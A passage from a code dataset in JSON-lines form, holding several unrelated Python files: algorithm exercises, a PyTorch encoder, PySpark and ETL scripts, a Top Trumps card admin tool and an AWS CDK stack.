출력","repo_name":"kingssik/Practice_Python","sub_path":"Quiz_list_4..py","file_name":"Quiz_list_4..py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23057593511","text":"class HouseRobberAdvanced(object):\n\n def rob(self, nums):\n if len(nums) == 0:\n return 0\n if len(nums) < 4:\n return max(nums)\n return max(self.houseRobberAdvanced(nums[1:]),\n self.houseRobberAdvanced(nums[:-1]))\n\n def houseRobberAdvanced(self, nums):\n self.maxValueTable = [None for num in nums]\n self.nums = nums\n return self._houseRobberAdvanced(len(nums)-1)\n\n def _houseRobberAdvanced(self, house):\n if house < 0:\n return 0\n elif house == 0:\n return self.nums[0]\n elif house == 1:\n return max(self.nums[0], self.nums[1])\n else:\n if not self.maxValueTable[house]:\n self.maxValueTable[house] = max(self.nums[house]+\n self._houseRobberAdvanced(house-2),\n self._houseRobberAdvanced(house-1))\n return self.maxValueTable[house]\n\n\nfrom nose.tools import assert_equals, assert_raises\n\nclass TestHouseRobberAdvanced(object):\n\n def testHouseRobberAdvanced(self):\n houseRobberAdvanced = HouseRobberAdvanced()\n\n print (\"All test cases passed!\")\n\n\ndef main():\n testHouseRobberAdvanced = TestHouseRobberAdvanced()\n testHouseRobberAdvanced.testHouseRobberAdvanced()\n\nif __name__ == '__main__':\n main()\n","repo_name":"Shamanyu/DataStructuresAndAlgorithms","sub_path":"LeetCode/HouseRobberAdvanced/house_robber_advanced/house_robber_advanced.py","file_name":"house_robber_advanced.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29122889913","text":"import os\n\ncurdir = os.path.dirname(os.path.abspath(__file__))\nfilename = f'{curdir}\\\\dec1.txt'\nfuel = sum([int(_)//3 - 2 for _ in open(filename, 'r').readlines()])\n\nprint(f\"First challenge: {fuel}\")\n\ndef fuelreq(mass):\n res = mass // 3 - 2\n f = res\n while f > 0:\n r = f // 3 - 2\n if r <= 0:\n return res\n res += r\n f = r\n \n\nmodules = [int(_) for _ in open(filename,'r').readlines()]\n\nfuel = 0\nfor m in modules:\n fuel += fuelreq(m)\n\nprint(f\"Second challenge: {fuel}\")\n\nprint(sum([fuelreq(int(_)) for _ in open(filename,'r').readlines()]))","repo_name":"jhogstrom/adventofcode","sub_path":"2019/dec1.py","file_name":"dec1.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"34611084404","text":"import torch\nfrom torch import nn\nimport numpy as np\nimport math, copy, time\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\n\nclass LearnPositionalEncoding(nn.Module):\n\n def __init__(self, d_model, max_len=64, dropout=0.1):\n super(LearnPositionalEncoding, self).__init__()\n self.pos_embed = nn.Embedding(max_len, d_model)\n\n nn.init.uniform_(self.pos_embed.weight)\n\n self.dropout = nn.Dropout(p=dropout)\n\n\n def forward(self, q):\n bsz_q, d_model, q_frm = q.shape\n assert q_frm == self.pos_embed.weight.shape[0], (q_frm,self.pos_embed.weight.shape)\n q_pos = self.pos_embed.weight.clone()\n q_pos = q_pos.unsqueeze(0)\n q_pos = q_pos.expand(bsz_q, q_frm, d_model).transpose(1,2)\n # q_pos = q_pos.contiguous().view(bsz_q, q_frm, n_head, d_k)\n q = q + q_pos\n return self.dropout(q)\n\n\nclass FrameAvgPool(nn.Module):\n\n def __init__(self, input_size, hidden_size, kernel_size, stride, use_position, num_clips):\n super(FrameAvgPool, self).__init__()\n self.vis_conv = nn.Conv1d(input_size, hidden_size, 1, 1)\n self.avg_pool = nn.AvgPool1d(kernel_size, stride)\n\n if use_position:\n self.pos_embed = LearnPositionalEncoding(d_model=hidden_size, max_len=num_clips)\n else:\n self.pos_embed = None\n\n def forward(self, visual_input):\n vis_h = torch.relu(self.vis_conv(visual_input))\n vis_h = self.avg_pool(vis_h)\n if self.pos_embed:\n vis_h = self.pos_embed(vis_h) \n return vis_h\n\n\n# dynamic graph from knn\ndef knn(x, y=None, k=5):\n if y is None:\n y = x\n inner = -2 * torch.matmul(y.transpose(2, 1), x) \n xx = torch.sum(x ** 2, dim=1, keepdim=True)\n yy = torch.sum(y ** 2, dim=1, keepdim=True)\n pairwise_distance = -xx - inner - yy.transpose(2, 1)\n _, idx = pairwise_distance.topk(k=k, dim=-1) \n return idx\n\n\ndef get_graph_feature(x, prev_x=None, k=5, idx_knn=None):\n batch_size = x.size(0)\n num_points = x.size(2) \n x = x.view(batch_size, -1, num_points)\n if idx_knn is None:\n idx_knn = knn(x=x, y=prev_x, k=k) # (batch_size, num_points, k)\n else:\n k = idx_knn.shape[-1]\n idx_base = torch.arange(0, batch_size, device=x.device ).view(-1, 1, 1) * num_points\n idx = (idx_knn + idx_base).view(-1)\n _, num_dims, _ = x.size()\n x = x.transpose(2, 1).contiguous() \n feature = x.view(batch_size * num_points, -1)[idx, :]\n feature = feature.view(batch_size, num_points, k, num_dims)\n x = x.view(batch_size, num_points, 1, num_dims).repeat(1, 1, k, 1)\n feature = torch.cat((feature, x), dim=3).permute(0, 3, 1, 2)\n return feature\n\n\nclass GCNeXtBlock(nn.Module):\n def __init__(self, channel_in, channel_out, k=3, groups=32, width_group=4):\n super(GCNeXtBlock, self).__init__()\n self.k = k\n width = width_group * groups\n self.tconvs = nn.Sequential(\n nn.Conv1d(channel_in, width, kernel_size=1), nn.ReLU(True),\n nn.Conv1d(width, width, kernel_size=3, groups=groups, padding=1), nn.ReLU(True),\n nn.Conv1d(width, channel_out, kernel_size=1),\n ) # temporal graph\n\n self.sconvs = nn.Sequential(\n nn.Conv2d(channel_in * 2, width, kernel_size=1), nn.ReLU(True),\n nn.Conv2d(width, width, kernel_size=(1,self.k), groups=groups, padding=(0,(self.k-1)//2)), nn.ReLU(True),\n nn.Conv2d(width, channel_out, kernel_size=1),\n ) # semantic graph\n\n self.relu = nn.ReLU(True)\n\n def forward(self, x):\n identity = x # residual\n tout = self.tconvs(x) # conv on temporal graph\n\n x_f = get_graph_feature(x, k=self.k) \n sout = self.sconvs(x_f) # conv on semantic graph\n sout = sout.max(dim=-1, keepdim=False)[0] \n\n out = tout + 2 * identity + sout \n return self.relu(out)\n\n\nclass GCNeXtMoudle(nn.Module):\n def __init__(self, channel_in, channel_out, k_num, groups, width_group):\n super(GCNeXtMoudle, self).__init__()\n\n self.backbone = nn.Sequential(\n GCNeXtBlock(channel_in, channel_out, k_num, groups, width_group),\n )\n\n def forward(self, x):\n gcnext_feature = self.backbone(x)\n return gcnext_feature\n\n\nclass FeatureEncoder(nn.Module):\n\n def __init__(self, cfg):\n super(FeatureEncoder, self).__init__()\n self.frame_encoder = FrameAvgPool(cfg.FRAME.INPUT_SIZE, cfg.FRAME.HIDDEN_SIZE,cfg.FRAME.KERNEL_SIZE,cfg.FRAME.STRIDE,\n cfg.FRAME.USE_POSITION,cfg.FRAME.NUM_CLIPS)\n self.gcnext_layer = GCNeXtMoudle(cfg.GCNEXT.INPUT_SIZE, cfg.GCNEXT.OUTPUT_SIZE, cfg.GCNEXT.K_NUM, cfg.GCNEXT.GROUP_NUM, cfg.GCNEXT.WIDTH_GROUP)\n self.lstm_encoder = nn.LSTM(cfg.LSTM.TXT_INPUT_SIZE, cfg.LSTM.TXT_HIDDEN_SIZE//2 if cfg.LSTM.BIDIRECTIONAL else cfg.LSTM.TXT_HIDDEN_SIZE,\n num_layers=cfg.LSTM.NUM_LAYERS, bidirectional=cfg.LSTM.BIDIRECTIONAL, batch_first=True)\n\n\n def forward(self, visual_input, textual_input, textual_mask):\n visual_input = visual_input.transpose(1, 2) \n vis_frame = self.frame_encoder(visual_input) # B, C, T\n vis_out = self.gcnext_layer(vis_frame) # B, C, T \n self.lstm_encoder.flatten_parameters()\n txt_out = self.lstm_encoder(textual_input)[0] * textual_mask # B, L, C\n return vis_out, txt_out\n\n","repo_name":"Huntersxsx/RaNet","sub_path":"lib/models/feature_encoder/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":5430,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"18"} +{"seq_id":"25151944193","text":"import sys\nfrom pyspark.sql import SparkSession\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2:\n print(\"\"\"\n Usage: sample_query.py \n\n Assumes you have a parquet file stored in .\n \"\"\", file=sys.stderr)\n sys.exit(-1)\n\n parquet_file = sys.argv[1]\n\n spark = SparkSession.builder.appName(\"SampleQuery\").getOrCreate()\n\n sequencesParquetFile = spark.read.parquet(parquet_file)\n\n filteredSequences = sequencesParquetFile.filter(\n sequencesParquetFile.sequence.contains(\"EMIL\"))\n filteredSequences.show()\n\n spark.stop()\n","repo_name":"benchiverton/protseqspark","sub_path":"Scripts/sample_query.py","file_name":"sample_query.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"20897663388","text":"import argparse\nimport math\n\nif __name__ == \"__main__\":\n \n parser = argparse.ArgumentParser(description='Convert videos in a sequence of images')\n parser.add_argument('-width',\n dest='width',\n required=True,\n help='Width')\n parser.add_argument('-height',\n dest='height',\n required=True,\n help='Height')\n parser.add_argument('-depth',\n dest='depth',\n required=True,\n help='Depth')\n parser.add_argument('-mass',\n dest='mass',\n required=True,\n help='Mass')\n\n args = parser.parse_args()\n\n width = float(args.width)\n height = float(args.height)\n depth = float(args.depth)\n mass = float(args.mass)\n\n i_xx = mass*(math.pow(height,2) + math.pow(depth,2))/12.\n i_yy = mass*(math.pow(width,2) + math.pow(depth,2))/12.\n i_zz = mass*(math.pow(width,2) + math.pow(height,2))/12.\n i_xy = 0\n i_xz = 0\n i_yz = 0\n\n print()\n print(\"Moment of inertia\")\n print(\"Ixx: \", i_xx)\n print(\"Iyy: \", i_yy)\n print(\"Izz: \", i_zz)\n print(\"Ixy: \", i_xy)\n print(\"Ixz: \", i_xz)\n print(\"Iyz: \", i_yz)","repo_name":"nesvera/robotao","sub_path":"robotao_description/script/box_moment_inertia.py","file_name":"box_moment_inertia.py","file_ext":"py","file_size_in_byte":1316,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"36656901965","text":"\"\"\"day22_sort_characters_by_frequency.py\n Created by Aaron at 23-May-20\"\"\"\nclass Solution:\n def frequencySort(self, s: str) -> str:\n # app1\n # c1, c2 = Counter(s), {}\n # for k,v in c1.items():\n # c2.setdefault(v, []).append(k*v)\n # return \"\".join([\"\".join(c2[i]) for i in range(len(s), -1, -1) if i in c2])\n\n # app2\n # s_set = set(s)\n # table = []\n # for val in s_set:\n # table.append((val, s.count(val)))\n # table.sort(key = lambda x: x[1], reverse = True)\n # return ''.join(map(lambda x: x[0] * x[1], table))\n\n # app3\n # return \"\".join([char * times for char, times in collections.Counter(str).most_common()])\n\n # app4\n result = ''\n bucket = [None for i in range(len(s) + 1)]\n hash_map = {}\n for char in s:\n hash_map[char] = hash_map.get(char, 0) + 1\n for key, value in hash_map.items():\n if bucket[value] is None:\n bucket[value] = []\n bucket[value].append(key)\n for i in reversed(range(len(bucket))):\n if bucket[i] is not None:\n for char in bucket[i]:\n result += char * i\n return result\n\nrun=Solution()\na=\"tree\"\nprint(run.frequencySort(a))\n# app1 use Counter to count frequency and then use frequency as key and value with character*value, lastly join all in reversed order of number\n# app2 use set to find all character, save tuple of character and frequency in list, sort it in reverse order\n# app3 use Counter most_common function to get and sort\n# app4 bucket sort","repo_name":"aaron6347/leetcode_May30Days","sub_path":"venv/day22_sort_characters_by_frequency.py","file_name":"day22_sort_characters_by_frequency.py","file_ext":"py","file_size_in_byte":1632,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70725078121","text":"import pymysql\nimport petl as etl\nimport pandas as pd\nimport os\n\n\ndef main():\n workdir = os.getcwd()\n\n # Step Extraction\n df = pd.read_csv(workdir+\"/kota-kab-indo.csv\", pages='all')\n\n table_name = \"kota_indo\"\n\n conn = pymysql.connect(\n host='127.0.0.1',\n user='root',\n database='chatbot_uii',\n port=3306,\n connect_timeout=5\n )\n\n conn.cursor().execute('SET SQL_MODE=ANSI_QUOTES')\n\n # Step Transformasi\n df.columns = ['no','nama_kota','provinsi']\n\n # Step Load DF to Table MySQL\n table = etl.fromdataframe(df)\n etl.todb(table, conn, table_name, create=True, drop=True)\n\n conn.close()\n\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"Yuriowindiatmoko2401/chatbot-uii-2","sub_path":"pre_utils/kota_kab_load.py","file_name":"kota_kab_load.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"7075988955","text":"#This file stores the factory info of the cards & it's the Admin for the user to edit/delete the card sets and cards\r\n\r\nimport time\r\n#time module is imported\r\n\r\ncardSets = [\"TV Shows\"]\r\n#The names of each set of cards\r\n\r\nsetColours = [\"blue\"]\r\n#The colours of the cards for each set\r\n\r\ncardCategories = [\r\n\t#TV Shows\r\n\t[\"Date First Aired\", \"Number of Series\", \"Viewing Figures of First Episode\", \"Popularity\"],\r\n]\r\n#This array contains name of each category for each card set\r\n\r\ncardDateCategories = [\r\n\t[1],\r\n]\r\n#Specifies which categories from each set are date values (e.g. [1] = Category1)\r\n\r\ncards = [\r\n\t#TV Shows\r\n\t[\r\n\t\t[\"Doctor Who\", \"Doctor Who.jpg\", \"2005-03-26\", 11, 10.1, 58],\r\n\t\t[\"Agents of S.H.I.E.L.D.\", \"Agents of SHIELD.jpg\", \"2013-09-24\", 5, 2.71, 89],\r\n\t\t[\"Gotham\", \"Gotham.jpg\", \"2014-09-22\", 5, 8.21, 80],\r\n\t\t[\"Red Dwarf\", \"Red Dwarf.png\", \"1988-02-15\", 12, 3, 76],\r\n\t\t[\"Sherlock\", \"Sherlock.jpeg\", \"2010-07-25\", 4, 11.3, 82],\r\n\t\t[\"Friday Night Dinner\", \"Friday Night Dinner.png\", \"2011-02-25\", 5, 1.5, 81],\r\n\t\t[\"The Inbetweeners\", \"The Inbetweeners.jpg\", \"2008-05-01\", 3, 1.2, 92],\r\n\t\t[\"Big Bang Theory\", \"Big Bang Theory.jpg\", \"2007-09-24\", 11, 3.3, 81],\r\n\t\t[\"Star Trek\", \"Star Trek.jpg\", \"1966-09-08\", 3, 1, 85],\r\n\t\t[\"Star Trek: The Next Generation\", \"Star Trek TNG.jpg\", \"1987-09-28\", 7, 11.5, 82],\r\n\t\t[\"Dad's Army\", \"Dad's Army.jpg\", \"1968-07-31\", 9, 0.2, 81],\r\n\t\t[\"Life On Mars\", \"Life On Mars.jpg\", \"2006-01-09\", 2, 5.7, 100],\r\n\t\t[\"Merlin\", \"Merlin.jpg\", \"2008-09-20\", 5, 7.1, 82],\r\n\t\t[\"The Office\", \"The Office.jpg\", \"2001-07-09\", 2, 3, 83],\r\n\t\t[\"Not Going Out\", \"Not Going Out.jpg\", \"2006-10-06\", 9, 3.7, 78],\r\n\t\t[\"Top Gear\", \"Top Gear.jpg\", \"2002-10-20\", 25, 3.4, 87],\r\n\t\t[\"The IT Crowd\", \"The IT Crowd.jpg\", \"2006-02-03\", 4, 1.8, 75],\r\n\t\t[\"Spaced\", \"Spaced.png\", \"1999-09-24\", 2, 1.4, 100],\r\n\t\t[\"Outnumbered\", \"Outnumbered.jpg\", \"2007-08-28\", 5, 7.5, 59],\r\n\t\t[\"Blackadder\", \"Blackadder.jpg\", \"1983-06-15\", 4, 2.3, 81],\r\n\t\t[\"Broadchurch\", \"Broadchurch.jpg\", \"2013-03-04\", 3, 1, 93],\r\n\t\t[\"Luther\", \"Luther.jpg\", \"2010-05-04\", 4, 0.3, 89],\r\n ]\r\n#2D array with [card entity][values]\r\n]\r\n\r\n\r\nchangeCardSetOptions = [\"displaying all cards\", \"renaming a card set\", \"adding a new card set\", \"deleting a whole card set\", \"editing a card\", \"adding a card\", \"deleting a card\"]\r\n#This array contains the options for changing a card set or a card\r\n\r\nyesOrNo = [\"Yes\", \"No\"]\r\n#This array can be used in Select function for a yes or no query\r\n\r\ncolours = [\"white\", \"blue\", \"green\", \"red\", \"purple\", \"yellow\", \"orange\", \"black\", \"grey\", \"gold\", \"silver\"]\r\n#Stores a list of colours in an array for the user to change or add them (specific for CSS files)\r\n\r\n\r\ntextFile = open(\"Cards.js\", \"r\")\r\njsCode = textFile.read()\r\ntextFile.close()\r\n#The file Cards.js is opened as a 'read only' file and stores the text in the file as jsCode\r\n\r\ntextFile = open(\"Cards.py\", \"w\")\r\ntextFile.write(jsCode)\r\ntextFile.close()\r\n#The file Cards.py is opened and rewrites the file with the contents of the variable jsCode\r\n\r\nfrom Cards import *\r\n#All variables are imported from the module Cards (i.e. the file Cards.py)\r\n\r\n\r\ndef Submit():\r\n #This function writes to the JavaScript file 'Cards' with the updated changes made in this program of the arrays cardSets, setColours, cardCategories, cardDateCategories & cards and \r\n textFile = open(\"Cards.js\", \"w\")\r\n #The file is opened as 'read and write' file\r\n \r\n textFile.write(\"cardSets = \" + str(cardSets))\r\n textFile.write(\"\\n\")\r\n textFile.write(\"setColours = \" + str(setColours))\r\n textFile.write(\"\\n\")\r\n textFile.write(\"cardCategories = \" + str(cardCategories ))\r\n textFile.write(\"\\n\")\r\n textFile.write(\"cardDateCategories = \" + str(cardDateCategories))\r\n textFile.write(\"\\n\")\r\n textFile.write(\"cards = \" + str(cards))\r\n #The variables are written in so that HTML and JavaScript can read the changes in this program\r\n\r\n textFile.close()\r\n #The file is closed\r\n\r\n time.sleep(1)\r\n #1 second delay\r\n print(\"All the changes you've made have been saved!\")\r\n #Information telling the user that the updated inputs have been saved]\r\n time.sleep(1)\r\n #1 second delay\r\n\r\n\r\ndef Select(text, array, onlyShowFirstIndex):\r\n #This function displays a number options that must be stored in an array for the user to type in the number of that option and that (number - 1) is returned (-1: so it can be used as an index of an array)\r\n #The arguments:\r\n # - text = queries the user on what they want to select\r\n # - array = where the options for the user to select are stored\r\n # - onlyShowFirstIndex = if the array is 2D, only the first index in each specific list maybe shown (True or False)\r\n loop = True\r\n #Variable ensures the code inside the while iteration keep repeating\r\n while loop == True:\r\n print(text)\r\n # Argument 'text' is displayed\r\n n = 1\r\n #The number that the user has to type will increase for the different items in array\r\n for i in array:\r\n #For every index in array\r\n if onlyShowFirstIndex == True:\r\n #This is for 2D arrays (i.e cards)\r\n print(\"Type \" + str(n) + \" for \" + str(i[0]))\r\n else:\r\n #This is for 1D arrays (e.g. cardSets)\r\n print(\"Type \" + str(n) + \" for \" + str(i))\r\n #Displays the instruction on which number to type for the current index of i\r\n n = n + 1\r\n #n is incremented by 1\r\n #The for loop above displays the options from an array by displaying each index with instructions to the user on how to 'select' them\r\n Input = input()\r\n if Input == \"save\":\r\n Submit()\r\n #The function 'Submit()' is called if the user types in 'save'\r\n MainProgram()\r\n #Returns to the start of the program\r\n elif Input == \"exit\":\r\n quit()\r\n #The whole program closes if the user types in 'exit'\r\n elif Input == \"menu\":\r\n MainProgram()\r\n #Returns to the start of the program\r\n elif (int(Input) - 1 >= 0) and (int(Input) - 1 <= len(array)):\r\n #If the user enters a number that's in of range of 'array'\r\n Input = int(Input) - 1\r\n #Input is decremented by 1\r\n loop = False\r\n #The while iteration ends\r\n else:\r\n print(\"Invalid input! Please try again.\")\r\n Select(text, array, onlyShowFirstIndex)\r\n #Select is recalled after a message to the user\r\n return Input\r\n #The function returns Input\r\n\r\ndef SaveOrQuit(value):\r\n #This function takes 'value' and checks if its value is \"save\" and \"exit\"\r\n if value == \"save\":\r\n Submit()\r\n #The function 'Submit()' is called if the user types in 'save'\r\n MainProgram()\r\n #Returns to the start of the program\r\n elif value == \"exit\":\r\n quit()\r\n #The whole program closes if the user types in 'exit'\r\n elif value == \"menu\":\r\n MainProgram()\r\n #Returns to the start of the program\r\n\r\ndef MainProgram():\r\n #The code inside this function is a recursion loop that keeps repeating until the user types 'exit'\r\n print(\"\")\r\n #Empty line displayed\r\n time.sleep(1)\r\n #Program delays for 1 second\r\n changeInput = Select(\"Main menu options:\", changeCardSetOptions, False)\r\n #Displays all the main options for the user to select which are all stored in the array changeCardSetOptions\r\n print(\"\")\r\n #Empty line displayed\r\n \r\n if changeInput == 0:\r\n #If the user inputs 1 (Select function always decrements the input by 1)\r\n for n in range(0, len(cardSets)):\r\n print(cardSets[n])\r\n print(\"In order of [NAME, IMAGE, CATEGORY 1, CATEGORY 2, CATEGORY 3, CATEGORY 4]\")\r\n for i in cards[n]:\r\n print(i)\r\n print(\"\")\r\n #For each card set, the name of the card set, info on what each index of is and every card with their information is displayed\r\n enter = input(\"Press ENTER to go back to the main menu.\")\r\n #This input allows time for the user to look at cards for as long as they want\r\n SaveOrQuit(enter)\r\n #This function is called with parameter of enter\r\n\r\n elif changeInput == 1:\r\n #If the user inputs 2\r\n setInput = Select(\"Select the card set you want to edit:\", cardSets, False)\r\n #The returned value of this function is assigned to setInput\r\n \r\n print(\"Enter new name for \" + cardSets[setInput] + \" below:\")\r\n temp = cardSets[setInput]\r\n #Old name of card set stored temporarily\r\n newValue = str(input())\r\n #User enters their new name for the card set\r\n SaveOrQuit(newValue)\r\n #Function called with parameter of newValue\r\n \r\n cardSets[setInput] = newValue\r\n #The value of the card set's name is replaced with the new value\r\n \r\n time.sleep(1)\r\n print(\"'\" + temp + \"' is now renamed as '\" + newValue + \"'.\")\r\n #After a 1 second delay, the user is told that their card set has been sucessfully renamed\r\n\r\n elif changeInput == 2:\r\n #If the user inputs 3\r\n newName = str(input(\"Enter the name of your new card set: \"))\r\n SaveOrQuit(newName)\r\n #newName stores the value of the user's input of the new card set's name\r\n\r\n inputColour = Select(\"Choose a background colour for this set of cards.\", colours, False)\r\n #The returned value of an option of colours to choose for the cards are assigned to inputColour\r\n\r\n emptyFour = [\"\", \"\", \"\", \"\"]\r\n cardCategories.append(emptyFour)\r\n #A list with four empty string values added to the array cardCategories\r\n cardDateCategories.append([])\r\n #Empty list appended to cardDateCategories\r\n for n in range(0, 4):\r\n numberInput = input(\"Enter the name of Category \" + str(n + 1) + \" for '\" + str(cardSets[len(cardSets) - 1]) + \"': \")\r\n SaveOrQuit(numberInput)\r\n cardCategories[len(cardCategories) - 1][n] = numberInput\r\n #This for iteration allows the user to enter a value for each category and adds it to cardCategories array\r\n\r\n n = int(input(\"Enter the number of categories with date values: \"))\r\n #User enters the number of categories that will have a date value instead of a number\r\n SaveOrQuit(str(n))\r\n while n > 0:\r\n dateInput = Select(\"Select the category with a date value.\", cardCategories[len(cardCategories) - 1], False)\r\n n -= 1\r\n cardDateCategories[len(cardDateCategories) - 1].append(dateInput)\r\n #This while iteration allows the user to select the categories they want to have date values and adds the index of that category to the list of the current card set in the cardDateCategories array\r\n \r\n cards.append([])\r\n #An empty list is added to the cards array\r\n\r\n cardSets.append(newName)\r\n setColours.append(colours[inputColour])\r\n #The values of newName and colours with index of inputColour added to the arrays cardSets and setColours respectively\r\n \r\n time.sleep(1)\r\n print(\"'\" + newName + \"' has been added to the card sets. Now you are able to add new cards to this set.\")\r\n #After a 1 second delay, a message is displayed to user, saying that their new card set has been added\r\n\r\n elif changeInput == 3:\r\n #If the user inputs 4\r\n setInput = Select(\"Which card set do you want to delete?\", cardSets, False)\r\n #The user selects the card set they want to delete from the array cardSets, where the returned value is stored as the variable setInput\r\n confirm = Select(\"Are you sure you want to delete the card set '\" + cardSets[setInput] + \"'?\", yesOrNo, False)\r\n #The user selects yes or no (from the yesOrNo list) in confirmation of their last input, where the returned value is stored as the variable confirm\r\n if confirm == 0:\r\n #If the user selected yes\r\n temp = cardSets[setInput]\r\n #Current name of the selected card set is stored as the temp variable\r\n del cardSets[setInput]\r\n del setColours[setInput]\r\n del cardCategories[setInput]\r\n del cardDateCategories[setInput]\r\n del cards[setInput]\r\n #The values above are deleted\r\n time.sleep(1)\r\n print(\"'\" + temp + \"' has been deleted!\")\r\n #A message tells the user that their selected card set has been deleted\r\n else:\r\n #If the user selected no\r\n print(\"'\" + cardSets[setInput] + \"' has NOT been deleted!\")\r\n #A message tells the user that their selected card set has NOT been deleted\r\n\r\n elif changeInput == 4:\r\n setInput = Select(\"Select the card set you want to edit:\", cardSets, False)\r\n cardInput = Select(\"Select the card from \" + str(cardSets[setInput]) + \" you want to alter:\", cards[setInput], True)\r\n categoryInput = Select(\"Select the category of the card, \" + str(cards[setInput][cardInput][0]) + \", you want to edit:\", cardCategories[setInput], False)\r\n \r\n print(str(cardCategories[setInput][categoryInput]) + \": \" + str(cards[setInput][cardInput][categoryInput + 2]))\r\n newCategory = input(\"Enter the new value of this card category: \")\r\n SaveOrQuit(newCategory)\r\n cards[setInput][cardInput][categoryInput + 2] = int(newCategory)\r\n time.sleep(1)\r\n print(str(cardCategories[setInput][categoryInput]) + \": \" + str(cards[setInput][cardInput][categoryInput + 2]))\r\n\r\n elif changeInput == 5:\r\n setInput = Select(\"Which card set do you want to add a card to?\", cardSets, False)\r\n\r\n newCard = input(\"Enter name of new card: \")\r\n SaveOrQuit(newCard)\r\n \r\n\r\n print(\"Now place your new card's image in the 'Images' folder.\")\r\n imageName = input(\"Enter the EXACT name of your image: \")\r\n SaveOrQuit(imageName)\r\n imageType = input(\"Enter the file type of the image (e.g. 'jpg' or 'png'): \")\r\n SaveOrQuit(imageType)\r\n\r\n for i in cardCategories[setInput]:\r\n if setInput in cardDateCategories[setInput]:\r\n pass\r\n else:\r\n catValue = input(\"Enter value for \" + i + \": \")\r\n SaveOrQuit(catValue)\r\n cards[setInput][len(cards[setInput]) - 1].append(str(catValue))\r\n\r\n cards[setInput].append([])\r\n cards[setInput][len(cards[setInput]) - 1].append(str(newCard))\r\n cards[setInput][len(cards[setInput]) - 1].append(str(imageName) + str(imageType))\r\n \r\n time.sleep(1)\r\n print(\"'\" + str(cards[setInput][len(cards[setInput]) - 1][0]) + \"' has been added to the card set '\" + cardSets[setInput] + \"'!\")\r\n\r\n elif changeInput == 6:\r\n setInput = Select(\"Select the card set that contains the card that you want deleted:\", cardSets, False)\r\n \r\n cardInput = Select(\"Which card do you want to delete?\", cards[setInput], True)\r\n \r\n confirm = Select(\"Are you sure you want to delete the card '\" + str(cards[setInput][cardInput][0]) + \"'?\", yesOrNo, False)\r\n if confirm == 0:\r\n temp = str(cards[setInput][cardInput][0])\r\n \r\n del cards[setInput][cardInput]\r\n time.sleep(1)\r\n print(\"'\" + temp + \"' has been deleted!\")\r\n else:\r\n print(\"'\" + cardSets[setInput] + \"' has NOT been deleted!\")\r\n\r\n print(\"Type 'save' to save these changes.\")\r\n MainProgram()\r\n #Returns to the start of the program\r\n\r\nprint(\"Welcome to Admin!\")\r\nprint(\"At any time, you can type 'exit' to exit the program or 'save' to save your changes to the cards. You can also type 'main' to go back to the main menu. IF YOU DO NOT TYPE 'save' BEFORE 'exit', YOUR CHANGES WILL BE LOST!\")\r\n#Introduction with instructions to the user are displayed\r\nMainProgram()\r\n#Function is called which contains the main program\r\n","repo_name":"alexander45139/Top-Trumps","sub_path":"Final/Resources/Admin.py","file_name":"Admin.py","file_ext":"py","file_size_in_byte":16158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"28444937287","text":"from aws_cdk import (\n # Duration,\n Stack,\n aws_lambda as _lambda,\n aws_sns as _sns,\n aws_apigateway as apigw\n # aws_sqs as sqs,\n)\nfrom constructs import Construct\n\nclass LambdaApigwSnsStack(Stack):\n\n def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:\n super().__init__(scope, construct_id, **kwargs)\n api_lambda = _lambda.Function(\n self, 'apiLambda',\n \n runtime=_lambda.Runtime.PYTHON_3_7,\n code=_lambda.Code.from_asset('src'),\n handler='apiLambda.handler',\n )\n \n api = apigw.RestApi(self,\"broker-api\")\n # v1 = api.root.add_resource(\"v1\")\n # echo = api.root.add_resource(\"echo\")\n lambda_method = api.root.add_resource(\"lambda\")\n api_lambda_method = lambda_method.add_method(\"GET\",apigw.LambdaIntegration(api_lambda),api_key_required=True)\n\n plan = api.add_usage_plan(\n \"UsagePlan\",\n name=\"Easy\",\n throttle=apigw.ThrottleSettings (\n rate_limit=10,\n burst_limit=2\n )\n )\n key=api.add_api_key(\"ApiKey\")\n plan.add_api_key(key)\n \n\n\n \n\n\n \n","repo_name":"harshnagpal/lambda_apigw_sns","sub_path":"lambda_apigw_sns/lambda_apigw_sns_stack.py","file_name":"lambda_apigw_sns_stack.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23909968508","text":"import os\nimport warnings\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom sklearn.exceptions import UndefinedMetricWarning\nfrom sklearn.preprocessing import LabelEncoder\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom config import EMB_PATH\nfrom dataloading import SentenceDataset\nfrom models import BaselineDNN\nfrom models import LSTM\nfrom models import Bidirectional_LSTM\n\nfrom selfattention import SelfAttention\nfrom selfattention import BiAttentionLSTM\n\n\nfrom training import train_dataset, eval_dataset\nfrom utils.load_datasets import load_MR, load_Semeval2017A\nfrom utils.load_embeddings import load_word_vectors\nfrom sklearn.metrics import f1_score, accuracy_score, recall_score\nwarnings.filterwarnings(\"ignore\", category=UndefinedMetricWarning)\n\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfTransformer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n########################################################\n# Configuration\n########################################################\n\n\n# Download the 